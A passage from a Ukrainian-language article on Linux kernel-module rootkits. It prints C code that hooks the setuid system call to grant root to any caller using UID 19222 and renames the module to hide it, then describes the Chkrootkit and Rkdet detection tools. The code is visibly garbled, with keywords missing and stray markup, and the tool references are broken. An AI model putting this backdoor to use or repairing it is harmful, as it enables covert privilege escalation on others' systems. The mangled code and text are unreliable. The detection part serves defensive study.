ль може перехоплювати і обробляти за своїм розсуду системні виклики, наприклад системи логування, що може забезпечити хакеру прозорість знаходження в системі або роботи якого-небудь сервісу.
Ось приклад програмного коду, що дозволяє перехопити системний виклик setuid (). Відбувається перевірка UID користувача і у випадку, якщо це 19222, то UID змінюється на новий, рівний 0. Тобто будь-яка програма, яка викликала setuid (19222) виконується з привілеями root, незалежно від того, який користувач її запустив.
int new_uid (uid_t); (* old_uid) (uid_t); void * sys_call_table []; init_module () {struct module * mp asm («% ebx»);
* (char *) (mp-> name)=`d ';
* (char *) (mp-> name +1)=`s ';
* (char *) (mp-> name +2)=`2 ';
* (char *) (mp-> name +3)=` 0 '; _uid=sys_call_table [SYS_setuid]; _call_table [SYS_setuid]=(void *) new_uid; 0; p>
} cleanup_module () {_call_table [SYS_setuid]=(void *) old_uid; 0;
} new_uid (uid_t uid) {(uid == 19222) {-> uid=0; -> gid=0; -> euid=0; -> egid=0; 0;
}
return (* old_uid) (uid);
}
При грамотній роботі зловмисника (хоча такі кошти безумовно застосовуються і в благих цілях) модуль не буде видно у списку завантажених модулів і його неможливо буде вивантажити. Тут перед зловмисником відкриваються можливості, обмежені лише його фантазією.
Новий модуль може носити назву, схоже з оригіналом, хоча і приховати від системного адміністратора наявність нелегального модуля не представить складність для досвідченого порушника. Також є можливість не тільки додати новий модуль, а й перекомпілювати вже діючий, змінивши його функції.
В даний час доступна велика кількість готових програм, що реалізують такого роду атаки. Але також доступними є і засоби протидії, які дозволяють виявити встановлені в системі набори засобів для злому. На нашу думку, заслуговує на увагу програма Rkdet (# «justify"> Програма Chkrootkit (# «justify"> Програма Chkrootkit може працювати під управлінням різних операційних систем UNIX, наприклад Solaris і * BSD-системах. Весь пакет управляється спеціальним сценарієм командного інтерпретатора, який при необхідності викликає обслуговуючі програми. Зокрема, серед дій, що відслідковуються Chkrootkit, можна назвати наступні:
видалення записів у файлах lastlog, wtmp і wtmpx;
переклад мережевого інтерфейсу в << нерозбірливий >> режим;
наявність прихованих процесів (вказує на запуск якого модуля ядра);
ознаки спеціальних троянських версій двійкових файлів;
перевірка журналів системи логування;
наявність конфігураційних файлів, що використовуються в наборах засобів для злому.
Незважаючи на велику кількість перевірок, які виконує Chkrootkit, ця програма працює дуже швидко. При підозрі в компрометації комп'ютерів слід запускати Chkrootkit двічі - перший раз до відключення системи і другий раз - після її запуску в режимі одного.
Краще ж всього використовувати засіб, яке б дозволяло відключати і включати мандати за своїм розсудом, наприклад...